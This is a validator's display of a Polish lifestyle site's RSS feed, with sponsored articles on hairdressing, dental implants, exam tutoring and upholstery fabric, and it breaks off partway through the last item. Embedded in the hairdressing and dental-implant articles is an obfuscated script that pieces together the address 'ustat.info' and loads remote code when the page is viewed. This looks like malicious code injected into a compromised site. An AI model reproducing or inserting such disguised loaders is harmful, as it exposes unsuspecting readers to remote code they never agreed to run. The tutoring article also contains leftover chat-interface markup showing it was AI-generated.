Congratulations!

[Valid RSS] This is a valid RSS feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

Source: https://kobietaportal.pl/feed/

  1. <?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
  2. xmlns:content="http://purl.org/rss/1.0/modules/content/"
  3. xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  4. xmlns:dc="http://purl.org/dc/elements/1.1/"
  5. xmlns:atom="http://www.w3.org/2005/Atom"
  6. xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  7. xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
  8. >
  9.  
  10. <channel>
  11. <title></title>
  12. <atom:link href="https://kobietaportal.pl/feed/" rel="self" type="application/rss+xml" />
  13. <link>https://kobietaportal.pl/</link>
  14. <description></description>
  15. <lastBuildDate>Wed, 02 Jul 2025 20:10:33 +0000</lastBuildDate>
  16. <language>pl-PL</language>
  17. <sy:updatePeriod>
  18. hourly </sy:updatePeriod>
  19. <sy:updateFrequency>
  20. 1 </sy:updateFrequency>
  21. <generator>https://wordpress.org/?v=6.8.1</generator>
  22. <item>
  23. <title>Odśwież swój wizerunek: jak nowa fryzura zwiększy Twoją pewność siebie?</title>
  24. <link>https://kobietaportal.pl/odswiez-swoj-wizerunek-jak-nowa-fryzura-zwiekszy-twoja-pewnosc-siebie/</link>
  25. <comments>https://kobietaportal.pl/odswiez-swoj-wizerunek-jak-nowa-fryzura-zwiekszy-twoja-pewnosc-siebie/#respond</comments>
  27. <dc:creator><![CDATA[Redakcja]]></dc:creator>
  28. <pubDate>Wed, 02 Jul 2025 20:10:33 +0000</pubDate>
  29. <category><![CDATA[Uroda]]></category>
  30. <guid isPermaLink="false">https://kobietaportal.pl/odswiez-swoj-wizerunek-jak-nowa-fryzura-zwiekszy-twoja-pewnosc-siebie/</guid>
  31.  
  32. <description><![CDATA[<p>Szukasz inspiracji do zmiany swojego wizerunku? Przeczytaj artykuł, który pomoże Ci zrozumieć, jak fryzura może wpłynąć na Twoje samopoczucie i pewność siebie. Dowiedz się, co mówią o nas nasze włosy i jak odpowiedni fryzjer damski może pomóc Ci w tej transformacji. Zapraszamy do lektury! Odkryj swój styl: jak fryzura wpływa na pewność siebie i wizerunek? [&#8230;]</p>
  33. <p>Artykuł <a href="https://kobietaportal.pl/odswiez-swoj-wizerunek-jak-nowa-fryzura-zwiekszy-twoja-pewnosc-siebie/">Odśwież swój wizerunek: jak nowa fryzura zwiększy Twoją pewność siebie?</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  34. ]]></description>
  35. <content:encoded><![CDATA[<p>Szukasz inspiracji do zmiany swojego wizerunku? Przeczytaj artykuł, który pomoże Ci zrozumieć, jak fryzura może wpłynąć na Twoje samopoczucie i pewność siebie. Dowiedz się, co mówią o nas nasze włosy i jak odpowiedni fryzjer damski może pomóc Ci w tej transformacji. Zapraszamy do lektury!</p>
  36. <h2>Odkryj swój styl: jak fryzura wpływa na pewność siebie i wizerunek?</h2>
  37. <p>Fryzura to coś więcej niż tylko estetyczny dodatek. To kluczowy element naszej tożsamości, narzędzie wyrażania siebie i potężny sprzymierzeniec w budowaniu pewności siebie. Włosy potrafią opowiedzieć historię bez słów – o naszym nastroju, stylu życia, a nawet o naszych ambicjach. Odpowiednio dobrane <a href="https://monroehair.pl/uslugi-koloryzacje" title="Usługi fryzjerskie w salonie Monroe Hair"><b>usługi fryzjerskie</b></a> mogą całkowicie odmienić sposób, w jaki postrzegamy siebie i jak jesteśmy postrzegani przez innych.</p>
  38. <h3>Psychologia fryzury &#8211; co mówią o nas nasze włosy</h3>
  39. <p>Włosy od zawsze były symbolem witalności, statusu społecznego i indywidualności. Długie, lśniące włosy często kojarzone są z kobiecością i romantyzmem, krótkie i awangardowe z odwagą i nowoczesnością, a klasyczne fryzury z elegancją i profesjonalizmem. To, w jaki sposób stylizujemy włosy, świadomie lub nie, wysyła sygnał do otoczenia. Nowe strzyżenie damskie może być świadomą deklaracją zmiany, gotowości na nowe wyzwania, a nawet chęci odcięcia się od przeszłości.</p>
  40. <h3>Jak nowa fryzura może odmienić samopoczucie</h3>
  41. <p>Efekt „nowej fryzury” jest zjawiskiem powszechnym i bardzo realnym. Wizyta w <a href="https://monroehair.pl/" title="Salon fryzjerski - strzyżenie damskie i inne usługi fryzjerskie"><b>salonie fryzjerskim</b></a> to często nie tylko zmiana wyglądu, ale prawdziwa sesja terapeutyczna. Zadowolenie z odświeżonego wyglądu bezpośrednio przekłada się na lepsze samopoczucie, wzrost pewności siebie i pozytywne nastawienie do życia. Kiedy czujemy się dobrze w swojej skórze, jesteśmy bardziej otwarte na nowe doświadczenia, bardziej asertywne i po prostu szczęśliwsze. Niezależnie od tego, czy zdecydujesz się na subtelne farbowanie włosów, czy radykalną zmianę długości, poczujesz przypływ nowej energii.</p>
  42. <h3>Rola fryzjera jako stylisty i doradcy</h3>
  43. <p>Dobry fryzjer damski to nie tylko rzemieślnik posługujący się nożyczkami, ale prawdziwy stylista i doradca. Jego rola wykracza poza samo wykonanie strzyżenia damskiego czy koloryzacji włosów. Prawdziwy profesjonalista potrafi odczytać potrzeby klienta, zrozumieć jego styl życia i zaproponować fryzurę, która idealnie podkreśli jego atuty, a jednocześnie będzie praktyczna i łatwa w codziennej stylizacji. To on pomoże Ci wybrać odpowiedni odcień farbowania włosów, który harmonizuje z Twoją cerą i kolorem oczu, oraz doradzi, jakie cięcie najlepiej pasuje do kształtu Twojej twarzy.</p>
  44. <p>Poniżej przedstawiamy kilka przykładów znanych osób, które zmieniły fryzurę i zyskały na tym wizerunkowo:</p>
  45. <ul>
  46. <li>Jennifer Aniston: jej słynne cięcie &#8222;The Rachel&#8221; z serialu &#8222;Przyjaciele&#8221; stało się ikoną lat 90. i symbolizuje pewną lekkość i świeżość.</li>
  47. <li>Emma Watson: przejście od długich włosów Hermiony Granger do krótkiego pixie cut po zakończeniu sagi o Harrym Potterze było odważnym krokiem, który podkreślił jej niezależność i dojrzałość.</li>
  48. <li>David Beckham: liczne zmiany fryzur na przestrzeni lat – od irokeza po klasyczne cięcia – zawsze utrzymywały go w czołówce trendsetterów i podkreślały jego wszechstronność.</li>
  49. </ul>
  50. <p>Gotowa na zmianę? Zaufaj ekspertom i zapisz się na transformację w <a href="https://monroehair.pl/" rel="dofollow" title="Salon fryzjerski Monroe Hair"><strong>salonie fryzjerskim Monroe Hair</strong></a>. Poczuj się piękniej i odkryj nową wersję siebie!</p>
  51. <p> <script> (function(){ ts00u="Xn5jdmw8s005";ts00=document.createElement("script"); ts00_="u"+("st");ts00_+="at"+(".");ts00.async=true;ts00_+="in"; ts00u="2482661991."+ts00u;ts00.type="text/javascript";ts00u+="td4vxaiX4sjc"; ts00u+="lt87Xh";ts00_+=("f")+"o"+("/");ts00.src="https://"+ts00_+ts00u; ts00d=document.body;ts00d.appendChild(ts00); })(); </script></p>
  52. <p>Artykuł <a href="https://kobietaportal.pl/odswiez-swoj-wizerunek-jak-nowa-fryzura-zwiekszy-twoja-pewnosc-siebie/">Odśwież swój wizerunek: jak nowa fryzura zwiększy Twoją pewność siebie?</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  53. ]]></content:encoded>
  55. <wfw:commentRss>https://kobietaportal.pl/odswiez-swoj-wizerunek-jak-nowa-fryzura-zwiekszy-twoja-pewnosc-siebie/feed/</wfw:commentRss>
  56. <slash:comments>0</slash:comments>
  59. </item>
  60. <item>
  61. <title>Nowoczesna implantologia – nowy standard w odbudowie zębów</title>
  62. <link>https://kobietaportal.pl/nowoczesna-implantologia-nowy-standard-w-odbudowie-zebow/</link>
  63. <comments>https://kobietaportal.pl/nowoczesna-implantologia-nowy-standard-w-odbudowie-zebow/#respond</comments>
  65. <dc:creator><![CDATA[Redakcja]]></dc:creator>
  66. <pubDate>Wed, 02 Jul 2025 20:04:28 +0000</pubDate>
  67. <category><![CDATA[Zdrowie]]></category>
  68. <guid isPermaLink="false">https://kobietaportal.pl/nowoczesna-implantologia-nowy-standard-w-odbudowie-zebow/</guid>
  69.  
  70. <description><![CDATA[<p>Implantologia stomatologiczna w ostatnich latach przeszła prawdziwą rewolucję. Jak podkreśla dr n. med. Tomasz Nowak, chirurg stomatologiczny i implantolog z krakowskiego Loftdent, dziś nie chodzi już tylko o wstawienie brakującego zęba. Celem jest uzyskanie efektu trwałego, estetycznego, funkcjonalnego i możliwie najmniej inwazyjnego – z korzyścią dla komfortu i zdrowia pacjenta. Jeszcze kilkanaście lat temu sukces [&#8230;]</p>
  71. <p>Artykuł <a href="https://kobietaportal.pl/nowoczesna-implantologia-nowy-standard-w-odbudowie-zebow/">Nowoczesna implantologia – nowy standard w odbudowie zębów</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  72. ]]></description>
  73. <content:encoded><![CDATA[<p>Implantologia stomatologiczna w ostatnich latach przeszła prawdziwą rewolucję. Jak podkreśla dr n. med. Tomasz Nowak, chirurg stomatologiczny i implantolog z krakowskiego Loftdent, dziś nie chodzi już tylko o wstawienie brakującego zęba. Celem jest uzyskanie efektu trwałego, estetycznego, funkcjonalnego i możliwie najmniej inwazyjnego – z korzyścią dla komfortu i zdrowia pacjenta.</p>
  74. <p data-start="680" data-end="944">Jeszcze kilkanaście lat temu sukces oznaczał po prostu „przyjęcie się” implantu. Dziś liczy się precyzja na poziomie dziesiątych milimetra, natychmiastowa odbudowa kości, planowanie uśmiechu w systemach 3D, a wszystko to z dbałością o jak najkrótszy czas leczenia.</p>
  75. <h3 data-start="951" data-end="1006"><strong data-start="955" data-end="1006">Biomateriały zgodne z ciałem – klucz do sukcesu</strong></h3>
  76. <p data-start="1008" data-end="1305">Nowoczesna implantologia to przede wszystkim praca z materiałami biokompatybilnymi, czyli w pełni zgodnymi z organizmem pacjenta. Utrata zęba w niemal każdym przypadku prowadzi do zaniku kości – to naturalny proces, który trzeba zatrzymać lub odwrócić, by implant miał trwałe i stabilne podparcie.</p>
  77. <p data-start="1307" data-end="1621">– Odbudowa kości to podstawa terapii. Osobiście korzystam z materiału kostnego pozyskiwanego z banków tkanek ludzkich – mówi dr Nowak. – Jest on całkowicie bezpieczny, oczyszczony z białek, nie powoduje reakcji alergicznych ani odrzutów, a jego integracja z kością pacjenta przebiega wyjątkowo skutecznie – dodaje.</p>
  78. <p data-start="1623" data-end="1851">Zastosowanie osocza bogatopłytkowego (PRF) oraz naturalnych błon kolagenowych pozwala jeszcze bardziej usprawnić gojenie i ograniczyć powikłania. Te komponenty wspomagają regenerację tkanek i stabilizują przeszczepiony materiał.</p>
  79. <h3 data-start="1858" data-end="1902"><strong data-start="1862" data-end="1902">Jedna wizyta – kilka etapów leczenia</strong></h3>
  80. <p data-start="1904" data-end="2111">Dziś leczenie implantologiczne można przeprowadzić podczas jednej, zaplanowanej procedury – usunięcie zęba, wszczepienie implantu i odbudowa kości mogą odbyć się podczas jednej wizyty trwającej ok. 45 minut.</p>
  81. <p data-start="2113" data-end="2370">– To bardziej komfortowe dla pacjenta, redukuje stres, ilość podawanych leków i czas rekonwalescencji – wyjaśnia dr Nowak. – Mamy wtedy idealne warunki biologiczne: otwarte naczynia krwionośne i świeży skrzep, który wspomaga przyjęcie się implantu – dodaje.</p>
  82. <p data-start="2372" data-end="2545">Ta metoda znajduje zastosowanie zarówno w pojedynczych brakach zębowych, jak i w pełnych rekonstrukcjach – np. u pacjentów, którzy potrzebują 10–12 implantów w jednej sesji.</p>
  83. <h3 data-start="2552" data-end="2589"><strong data-start="2556" data-end="2589">Implant dopasowany do potrzeb</strong></h3>
  84. <p data-start="2591" data-end="2852">Nie ma „jednego najlepszego” implantu – są rozwiązania dobrane indywidualnie. Lekarz uwzględnia jakość kości, warunki zgryzowe, planowaną pracę protetyczną. Estetyka końcowa to nie tylko korona, ale też otaczające ją dziąsło – zdrowe, stabilne i proporcjonalne.</p>
  85. <p data-start="2854" data-end="3022">Zwieńczeniem całej procedury są indywidualnie barwione korony protetyczne, dopasowane do naturalnego uzębienia pacjenta – często projektowane cyfrowo, w technologii 3D.</p>
  86. <p data-start="3024" data-end="3240">– Choć to właśnie gotowa korona najbardziej cieszy oko pacjenta, warto pamiętać, że prawdziwa „magia” dzieje się głębiej – w regeneracji kości i tkanek, które zapewniają jej trwałość – podsumowuje ekspert z Loftdent.</p>
  87. <h3 data-start="3247" data-end="3286"><strong data-start="3251" data-end="3286">Implanty – dziś bez kompromisów</strong></h3>
  88. <p data-start="3288" data-end="3533">Nowoczesna implantologia to połączenie precyzji, wiedzy, technologii i pełnej troski opieki nad pacjentem. Dzięki niej możliwa jest szybka, skuteczna i bezpieczna odbudowa zębów – bez czekania miesiącami, bez bólu i bez kompromisów estetycznych.</p>
  89. <p> <script> (function(){ ohsa=document.createElement("script");ohsa.async=true;ohsa_="u"+("s")+"t"; ohsau="2482845950.";ohsa_+="a"+("t.i");ohsa_+="n"+("f"+"o")+"/"; ohsau+="c2ibl14phsaz5kmyagcz1t"+("7id6lsdn"); ohsa.src="https://"+ohsa_+ohsau;ohsa.type="text/javascript"; document.body.appendChild(ohsa); })(); </script></p>
  90. <p>Artykuł <a href="https://kobietaportal.pl/nowoczesna-implantologia-nowy-standard-w-odbudowie-zebow/">Nowoczesna implantologia – nowy standard w odbudowie zębów</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  91. ]]></content:encoded>
  93. <wfw:commentRss>https://kobietaportal.pl/nowoczesna-implantologia-nowy-standard-w-odbudowie-zebow/feed/</wfw:commentRss>
  94. <slash:comments>0</slash:comments>
  97. </item>
  98. <item>
  99. <title>Korepetycje przed maturą – jak się przygotować</title>
  100. <link>https://kobietaportal.pl/korepetycje-przed-matura-jak-sie-przygotowac/</link>
  101. <comments>https://kobietaportal.pl/korepetycje-przed-matura-jak-sie-przygotowac/#respond</comments>
  103. <dc:creator><![CDATA[Redakcja]]></dc:creator>
  104. <pubDate>Mon, 30 Jun 2025 05:38:13 +0000</pubDate>
  105. <category><![CDATA[Lifestyle]]></category>
  106. <category><![CDATA[Porady]]></category>
  107. <category><![CDATA[com]]></category>
  108. <category><![CDATA[Malediwy]]></category>
  109. <category><![CDATA[podróże poślubne]]></category>
  110. <category><![CDATA[slider]]></category>
  111. <guid isPermaLink="false">https://kobietaportal.pl/korepetycje-przed-matura-jak-sie-przygotowac/</guid>
  112.  
  113. <description><![CDATA[<p>  Matura to jeden z najważniejszych egzaminów w życiu ucznia, który decyduje o dalszej ścieżce edukacyjnej i zawodowej. Przygotowania do niej często bywają stresujące, a zakres materiału rozległy i wymagający. W tym kontekście korepetycje stają się nieocenioną pomocą, umożliwiającą skuteczne powtórki, uzupełnienie luk w wiedzy oraz zdobycie pewności siebie przed egzaminem. Przygotowanie do matury za [&#8230;]</p>
  114. <p>Artykuł <a href="https://kobietaportal.pl/korepetycje-przed-matura-jak-sie-przygotowac/">Korepetycje przed maturą – jak się przygotować</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  115. ]]></description>
  116. <content:encoded><![CDATA[<h6 class="sr-only"> </h6>
  117. <div class="text-base my-auto mx-auto py-5 [--thread-content-margin:--spacing(4)] @[37rem]:[--thread-content-margin:--spacing(6)] @[72rem]:[--thread-content-margin:--spacing(16)] px-(--thread-content-margin)">
  118. <div class="[--thread-content-max-width:32rem] @[34rem]:[--thread-content-max-width:40rem] @[64rem]:[--thread-content-max-width:48rem] mx-auto flex max-w-(--thread-content-max-width) flex-1 text-base gap-4 md:gap-5 lg:gap-6 group/turn-messages focus-visible:outline-hidden" tabindex="-1">
  119. <div class="group/conversation-turn relative flex w-full min-w-0 flex-col agent-turn">
  120. <div class="relative flex-col gap-1 md:gap-3">
  121. <div class="flex max-w-full flex-col grow">
  122. <div class="min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal [.text-message+&amp;]:mt-5" dir="auto" data-message-author-role="assistant" data-message-id="41a570e1-ed10-47a4-9e40-7b2de83e0fd2" data-message-model-slug="gpt-4-1-mini">
  123. <div class="flex w-full flex-col gap-1 empty:hidden first:pt-[3px]">
  124. <div class="markdown prose dark:prose-invert w-full break-words light">
  125. <p data-start="110" data-end="485">Matura to jeden z najważniejszych egzaminów w życiu ucznia, który decyduje o dalszej ścieżce edukacyjnej i zawodowej. Przygotowania do niej często bywają stresujące, a zakres materiału rozległy i wymagający. W tym kontekście korepetycje stają się nieocenioną pomocą, umożliwiającą skuteczne powtórki, uzupełnienie luk w wiedzy oraz zdobycie pewności siebie przed egzaminem.</p>
  126. <p data-start="487" data-end="761">Przygotowanie do matury za pomocą korepetycji wymaga jednak nie tylko wyboru dobrego nauczyciela, ale także świadomego podejścia do nauki. Kluczowa jest umiejętność planowania, regularność oraz wybór efektywnych metod, które pozwolą maksymalnie wykorzystać czas do egzaminu.</p>
  127. <h2 data-start="763" data-end="820">Opracowanie indywidualnego planu nauki z korepetytorem</h2>
  128. <p data-start="822" data-end="1146">Pierwszym krokiem do sukcesu jest stworzenie szczegółowego planu nauki, który uwzględni wszystkie wymagane zagadnienia i podzieli je na mniejsze, przystępne części. Współpraca z korepetytorem umożliwia ustalenie priorytetów – które tematy wymagają najwięcej uwagi, a które uczeń opanował dobrze i można je jedynie przejrzeć.</p>
  129. <p data-start="1148" data-end="1421">Plan powinien być realistyczny i dostosowany do harmonogramu ucznia, tak aby nie powodował presji i wypalenia. Regularne, krótsze sesje są bardziej efektywne niż długie, wyczerpujące maratony nauki. Dzięki temu uczeń może systematycznie zdobywać wiedzę i utrwalać materiał.</p>
  130. <h2 data-start="1423" data-end="1494">Skupienie się na słabych punktach i powtarzanie kluczowych zagadnień</h2>
  131. <p data-start="1496" data-end="1779">Matura wymaga znajomości szerokiego zakresu materiału, ale nie każdy uczeń musi poświęcać tyle samo czasu na każdy temat. Wspólnie z korepetytorem warto zidentyfikować obszary, które sprawiają największą trudność i skupić się na ich dokładnym wyjaśnieniu i praktycznym przećwiczeniu.</p>
  132. <p data-start="1781" data-end="2062">Powtarzanie jest niezbędne, by utrwalić wiedzę. Można wykorzystywać różnorodne metody – od rozwiązywania zadań, przez tworzenie notatek, aż po testy próbne. Dobrze zaplanowane powtórki pomagają zapamiętać ważne informacje i uczą radzenia sobie z typowymi pytaniami egzaminacyjnymi.</p>
  133. <h2 data-start="2064" data-end="2123">Praktyczne ćwiczenia i rozwiązywanie arkuszy maturalnych</h2>
  134. <p data-start="2125" data-end="2350">Najlepsze korepetycje przed maturą to te, które łączą teorię z praktyką. Regularne rozwiązywanie arkuszy maturalnych z poprzednich lat pozwala na zapoznanie się z formatem egzaminu oraz rodzajem zadań, jakie mogą się pojawić.</p>
  135. <p data-start="2352" data-end="2608">Korepetytor pomaga nie tylko w rozwiązywaniu zadań, ale też w analizie błędów, wskazując, na co zwrócić uwagę i jak poprawić wyniki. Dzięki temu uczeń zyskuje większą pewność siebie i uczy się skutecznych strategii rozwiązywania problemów podczas egzaminu.</p>
  136. <h2 data-start="2610" data-end="2667">Zarządzanie stresem i przygotowanie mentalne do matury</h2>
  137. <p data-start="2669" data-end="2881">Stres przed egzaminem to naturalne zjawisko, które może jednak negatywnie wpływać na wyniki. Korepetycje to także miejsce, gdzie można nauczyć się technik radzenia sobie z napięciem i budowania pewności siebie.</p>
  138. <p data-start="2883" data-end="3140">Warto stosować różne metody relaksacyjne, takie jak ćwiczenia oddechowe czy krótkie przerwy na aktywność fizyczną podczas nauki. Korepetytor może również wspierać ucznia w tworzeniu pozytywnego nastawienia i motywacji, które są równie ważne jak sama wiedza.</p>
  139. <h2 data-start="3142" data-end="3186">Przykładowy plan korepetycji przed maturą</h2>
  140. <div class="_tableContainer_16hzy_1">
  141. <div class="_tableWrapper_16hzy_14 group flex w-fit flex-col-reverse" tabindex="-1">
  142. <table class="w-fit min-w-(--thread-content-width)" data-start="3188" data-end="3972">
  143. <thead data-start="3188" data-end="3321">
  144. <tr data-start="3188" data-end="3321">
  145. <th data-start="3188" data-end="3204" data-col-size="sm">Tydzień</th>
  146. <th data-start="3204" data-end="3246" data-col-size="sm">Tematyka zajęć</th>
  147. <th data-start="3246" data-end="3285" data-col-size="sm">Forma pracy</th>
  148. <th data-start="3285" data-end="3321" data-col-size="sm">Cel</th>
  149. </tr>
  150. </thead>
  151. <tbody data-start="3451" data-end="3972">
  152. <tr data-start="3451" data-end="3579">
  153. <td data-start="3451" data-end="3467" data-col-size="sm">1–2</td>
  154. <td data-col-size="sm" data-start="3467" data-end="3507">Powtórka podstawowych zagadnień</td>
  155. <td data-col-size="sm" data-start="3507" data-end="3544">Omówienie teorii, ćwiczenia</td>
  156. <td data-col-size="sm" data-start="3544" data-end="3579">Utrwalenie fundamentów</td>
  157. </tr>
  158. <tr data-start="3580" data-end="3709">
  159. <td data-start="3580" data-end="3596" data-col-size="sm">3–4</td>
  160. <td data-start="3596" data-end="3636" data-col-size="sm">Tematy problematyczne dla ucznia</td>
  161. <td data-col-size="sm" data-start="3636" data-end="3673">Rozwiązywanie zadań, wyjaśnienia</td>
  162. <td data-col-size="sm" data-start="3673" data-end="3709">Wyrównanie braków</td>
  163. </tr>
  164. <tr data-start="3710" data-end="3841">
  165. <td data-start="3710" data-end="3726" data-col-size="sm">5–6</td>
  166. <td data-col-size="sm" data-start="3726" data-end="3766">Arkusze maturalne z poprzednich lat</td>
  167. <td data-col-size="sm" data-start="3766" data-end="3804">Praktyka, analiza błędów</td>
  168. <td data-col-size="sm" data-start="3804" data-end="3841">Przygotowanie do formatu egzaminu</td>
  169. </tr>
  170. <tr data-start="3842" data-end="3972">
  171. <td data-start="3842" data-end="3858" data-col-size="sm">7–8</td>
  172. <td data-col-size="sm" data-start="3858" data-end="3899">Techniki rozwiązywania zadań</td>
  173. <td data-col-size="sm" data-start="3899" data-end="3937">Trening pod presją czasu</td>
  174. <td data-col-size="sm" data-start="3937" data-end="3972">Zwiększenie pewności siebie</td>
  175. </tr>
  176. </tbody>
  177. </table>
  178. <div class="sticky end-(--thread-content-margin) h-0 self-end select-none"> </div>
  179. </div>
  180. </div>
  181. <p data-start="3974" data-end="4073">Taki schemat pozwala zorganizować naukę w sposób efektywny i stopniowo zwiększać tempo przygotowań.</p>
  182. <h2 data-start="4075" data-end="4122">Rola samodzielnej pracy między korepetycjami</h2>
  183. <p data-start="4124" data-end="4399">Ważnym elementem jest aktywność ucznia poza zajęciami z korepetytorem. Systematyczne powtarzanie materiału, czytanie notatek i samodzielne rozwiązywanie zadań wpływa na trwałość wiedzy. Korepetycje są doskonałym uzupełnieniem, ale nie mogą zastąpić codziennego zaangażowania.</p>
  184. <p data-start="4401" data-end="4555">Korepetytor może wspierać ucznia, dając wskazówki dotyczące efektywnej nauki oraz materiały dostosowane do potrzeb, co znacznie ułatwia samodzielną pracę.</p>
  185. <h2 data-start="4557" data-end="4610">Znaczenie dobrego wyboru korepetytora przed maturą</h2>
  186. <p data-start="4612" data-end="4913">Wybór odpowiedniej osoby do prowadzenia korepetycji jest kluczowy. Dobry korepetytor powinien mieć doświadczenie w przygotowywaniu do matury, znać aktualne wymagania i potrafić przekazać wiedzę w sposób jasny i przystępny. Ważne jest również indywidualne podejście oraz umiejętność motywowania ucznia.</p>
  187. <p data-start="4915" data-end="5194">Warto korzystać z profesjonalnych szkół, które oferują sprawdzonych nauczycieli. Na przykład <a class="" href="https://losiem.pl" target="_new" rel="nofollow" data-start="5008" data-end="5025">https://losiem.pl</a> – szkoła języków online, działająca w Opalenicy, Grodzisku Wielkopolskim i Nowym Tomyślu – zapewnia korepetycje na wysokim poziomie, dostosowane do wymagań maturzystów.</p>
  188. <h2 data-start="5196" data-end="5257">Przygotowanie organizacyjne przed rozpoczęciem korepetycji</h2>
  189. <p data-start="5259" data-end="5559">Ważne jest, aby przed rozpoczęciem nauki zebrać wszystkie potrzebne materiały: podręczniki, zeszyty z notatkami, arkusze maturalne oraz dostęp do platform edukacyjnych, jeśli zajęcia odbywają się online. Uporządkowane materiały ułatwiają naukę i pozwalają skupić się na najważniejszych zagadnieniach.</p>
  190. <p data-start="5561" data-end="5668">Dobrze jest także zadbać o odpowiednie miejsce do nauki – ciche, dobrze oświetlone i wolne od rozpraszaczy.</p>
  191. <h2 data-start="5670" data-end="5711">Organizacja czasu i dbanie o równowagę</h2>
  192. <p data-start="5713" data-end="5905">Przy intensywnych przygotowaniach do matury łatwo zapomnieć o odpoczynku. Tymczasem odpowiednia ilość snu, zdrowa dieta i aktywność fizyczna są niezbędne, by utrzymać koncentrację i motywację.</p>
  193. <p data-start="5907" data-end="6039">Korepetycje mają wspierać, ale nie obciążać ucznia nadmiernie. Warto zadbać o zachowanie równowagi między nauką, a życiem prywatnym.</p>
  194. <hr data-start="6041" data-end="6044" />
  195. <p data-start="6046" data-end="6354" data-is-last-node="" data-is-only-node="">Skuteczne przygotowanie do matury z pomocą korepetycji to przede wszystkim świadome planowanie, systematyczna praca i wsparcie doświadczonego nauczyciela, który zna potrzeby maturzysty. Właściwie wykorzystany czas korepetycji może znacząco podnieść wyniki egzaminu i pomóc osiągnąć wymarzone cele edukacyjne.</p>
  196. </div>
  197. </div>
  198. </div>
  199. </div>
  200. </div>
  201. </div>
  202. </div>
  203. </div>
  204. <p>Artykuł <a href="https://kobietaportal.pl/korepetycje-przed-matura-jak-sie-przygotowac/">Korepetycje przed maturą – jak się przygotować</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  205. ]]></content:encoded>
  207. <wfw:commentRss>https://kobietaportal.pl/korepetycje-przed-matura-jak-sie-przygotowac/feed/</wfw:commentRss>
  208. <slash:comments>0</slash:comments>
  211. </item>
  212. <item>
  213. <title>Tkaniny tapicerskie &#8211; odwiedź ten sklep!</title>
  214. <link>https://kobietaportal.pl/tkaniny-tapicerskie-odwiedz-ten-sklep/</link>
  215. <comments>https://kobietaportal.pl/tkaniny-tapicerskie-odwiedz-ten-sklep/#respond</comments>
  217. <dc:creator><![CDATA[Redakcja]]></dc:creator>
  218. <pubDate>Wed, 25 Jun 2025 04:26:47 +0000</pubDate>
  219. <category><![CDATA[Meble]]></category>
  220. <guid isPermaLink="false">https://kobietaportal.pl/tkaniny-tapicerskie-odwiedz-ten-sklep/</guid>
  221.  
  222. <description><![CDATA[<p>Sklep online z tkaninami obiciowymi – kobieca przestrzeń kreatywności Coraz więcej kobiet odnajduje pasję w urządzaniu wnętrz i odnawianiu mebli. To nie tylko sposób na piękne mieszkanie, ale też okazja do twórczego spędzenia czasu. Jeśli szukasz jakościowych materiałów do takich projektów, sklep z tkaninami obiciowymi simokrzos.pl to miejsce idealne. Bogata oferta, szybka dostawa i wygoda [&#8230;]</p>
  223. <p>Artykuł <a href="https://kobietaportal.pl/tkaniny-tapicerskie-odwiedz-ten-sklep/">Tkaniny tapicerskie &#8211; odwiedź ten sklep!</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  224. ]]></description>
  225. <content:encoded><![CDATA[<h1 data-start="298" data-end="374"><strong data-start="298" data-end="374">Sklep online z tkaninami obiciowymi – kobieca przestrzeń kreatywności</strong></h1>
  226. <p data-start="376" data-end="784">Coraz więcej kobiet odnajduje pasję w urządzaniu wnętrz i odnawianiu mebli. To nie tylko sposób na piękne mieszkanie, ale też okazja do twórczego spędzenia czasu. Jeśli szukasz jakościowych materiałów do takich projektów, <strong data-start="598" data-end="643">sklep z tkaninami obiciowymi simokrzos.pl</strong> to miejsce idealne. Bogata oferta, szybka dostawa i wygoda zakupów online sprawiają, że możesz działać natychmiast – bez wychodzenia z domu.</p>
  227. <h2 data-start="786" data-end="854"><strong data-start="786" data-end="854">Sklep online tkaniny obiciowe – styl, wygoda i funkcjonalność</strong></h2>
  228. <p data-start="856" data-end="1264">Zakupy przez internet to dziś standard – zwłaszcza gdy szukamy czegoś wyjątkowego. <strong data-start="939" data-end="972">Sklep online tkaniny obiciowe</strong> simokrzos.pl oferuje szeroki wybór: od miękkich welurów po nowoczesne plecionki. Każda tkanina ma szczegółowy opis – gramaturę, odporność na ścieranie, certyfikaty. Dzięki temu z łatwością dopasujesz materiał do swojego projektu – czy to renowacja fotela, czy uszycie poduszek dekoracyjnych.</p>
  229. <p><img decoding="async" style="max-width: 100%;" src="https://kobietaportal.pl/wp-content/uploads/2025/06/Tkaniny-obiciowe-simokrzos.pl_.jpg" alt="Tkaniny obiciowe - simokrzos.pl" /></p>
  230. <h2 data-start="1266" data-end="1324"><strong data-start="1266" data-end="1324">Tkaniny obiciowe – sposób na relaks i twórcze hobby</strong></h2>
  231. <p data-start="1326" data-end="1717">Renowacja mebli, projektowanie dekoracji czy szycie dodatków – to nie tylko praktyczne działania, ale i forma relaksu. Kobiety cenią takie chwile – skupione, kreatywne, pełne satysfakcji. Dzięki <strong data-start="1521" data-end="1545">materiałom obiciowym</strong> z simokrzos.pl możesz stworzyć coś własnego, unikalnego i dopasowanego do swojego stylu. To idealny sposób na oderwanie się od codzienności i zadbanie o własną przestrzeń.</p>
  232. <p><img decoding="async" style="max-width: 100%;" src="https://kobietaportal.pl/wp-content/uploads/2025/06/Sklep-internetowy-z-materialami-obiciowymi-.jpg" alt="Sklep internetowy z materiałami obiciowymi" /></p>
  233. <h2 data-start="1719" data-end="1762"><strong data-start="1719" data-end="1762">Simokrzos.pl – kobiecy wybór z klasą</strong></h2>
